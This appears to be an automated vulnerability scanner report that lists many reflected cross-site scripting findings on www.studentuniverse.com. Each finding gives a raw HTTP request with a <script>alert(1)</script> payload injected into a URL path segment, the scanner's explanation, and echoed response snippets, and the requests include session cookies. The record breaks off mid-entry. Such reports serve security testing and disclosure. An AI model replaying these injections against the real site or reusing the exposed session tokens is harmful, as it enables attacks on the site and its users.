GET /Build7.6.3.2_20/javascript700fa<script>alert(1)</script>3fb7b266058/jScrollPane/jquery.em.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b85cb<script>alert(1)</script>861a78baebd was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jScrollPaneb85cb<script>alert(1)</script>861a78baebd/jquery.em.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload a9d00<script>alert(1)</script>941b13cd980 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jScrollPane/jquery.em.jsa9d00<script>alert(1)</script>941b13cd980 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c965d<script>alert(1)</script>d805a9169e8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20c965d<script>alert(1)</script>d805a9169e8/javascript/jScrollPane/jquery.mousewheel.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_20c965d<script>alert(1)</script>d805a9169e8/javascript/jScrollPane/c965d<script>alert(1)</script>d805a9169e8/javascript/jScrollPane/jquery.mousewheel.js) is not a ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload eec53<script>alert(1)</script>b091a8a004 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascripteec53<script>alert(1)</script>b091a8a004/jScrollPane/jquery.mousewheel.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload e7909<script>alert(1)</script>291df344ece was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jScrollPanee7909<script>alert(1)</script>291df344ece/jquery.mousewheel.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 8d8b6<script>alert(1)</script>3bf1aec9dfe was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js8d8b6<script>alert(1)</script>3bf1aec9dfe HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 9da39<script>alert(1)</script>ec0f1291d5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_209da39<script>alert(1)</script>ec0f1291d5/javascript/jquery-drag.min.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_209da39<script>alert(1)</script>ec0f1291d5/javascript/9da39<script>alert(1)</script>ec0f1291d5/javascript/jquery-drag.min.js) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b2186<script>alert(1)</script>3df5e1068dc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascriptb2186<script>alert(1)</script>3df5e1068dc/jquery-drag.min.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 29544<script>alert(1)</script>18836a7f793 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery-drag.min.js29544<script>alert(1)</script>18836a7f793 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5e65c<script>alert(1)</script>36d2a3b4358 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_205e65c<script>alert(1)</script>36d2a3b4358/javascript/jquery.pngFix.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_205e65c<script>alert(1)</script>36d2a3b4358/javascript/5e65c<script>alert(1)</script>36d2a3b4358/javascript/jquery.pngFix.js) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 88fb5<script>alert(1)</script>dca725791c9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript88fb5<script>alert(1)</script>dca725791c9/jquery.pngFix.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 352ba<script>alert(1)</script>51bcb681503 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery.pngFix.js352ba<script>alert(1)</script>51bcb681503 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ba326<script>alert(1)</script>5dd709826e0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20ba326<script>alert(1)</script>5dd709826e0/javascript/jquery/jquery-1.2.6.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_20ba326<script>alert(1)</script>5dd709826e0/javascript/jquery/ba326<script>alert(1)</script>5dd709826e0/javascript/jquery/jquery-1.2.6.js) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3cdda<script>alert(1)</script>9b552e13438 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript3cdda<script>alert(1)</script>9b552e13438/jquery/jquery-1.2.6.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload fa2c6<script>alert(1)</script>fd21d123355 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jqueryfa2c6<script>alert(1)</script>fd21d123355/jquery-1.2.6.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload ebaa7<script>alert(1)</script>fcae4e70adc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.jsebaa7<script>alert(1)</script>fcae4e70adc HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 23e42<script>alert(1)</script>906f5e7f5d7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_2023e42<script>alert(1)</script>906f5e7f5d7/javascript/jquery/jquery-ui-personalized-1.5.2.min.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_2023e42<script>alert(1)</script>906f5e7f5d7/javascript/jquery/23e42<script>alert(1)</script>906f5e7f5d7/javascript/jquery/jquery-ui-personalized-1.5.2.min.js) is ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 65609<script>alert(1)</script>07a6f69b511 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript65609<script>alert(1)</script>07a6f69b511/jquery/jquery-ui-personalized-1.5.2.min.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 45951<script>alert(1)</script>3e20e8be226 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery45951<script>alert(1)</script>3e20e8be226/jquery-ui-personalized-1.5.2.min.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 474bf<script>alert(1)</script>3d85f7af6c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js474bf<script>alert(1)</script>3d85f7af6c HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js474bf<script>alert(1)</script>3d85f7af6c) is not available
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a8879<script>alert(1)</script>31153d244ce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20a8879<script>alert(1)</script>31153d244ce/javascript/jquery/jquery.autocomplete.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The requested resource (/Build7.6.3.2_20a8879<script>alert(1)</script>31153d244ce/javascript/jquery/a8879<script>alert(1)</script>31153d244ce/javascript/jquery/jquery.autocomplete.js) is not available
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 7b47b<script>alert(1)</script>d561339ba4b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Build7.6.3.2_20/javascript7b47b<script>alert(1)</script>d561339ba4b/jquery/jquery.autocomplete.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 15712<script>alert(1)</script>7809cc084f8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
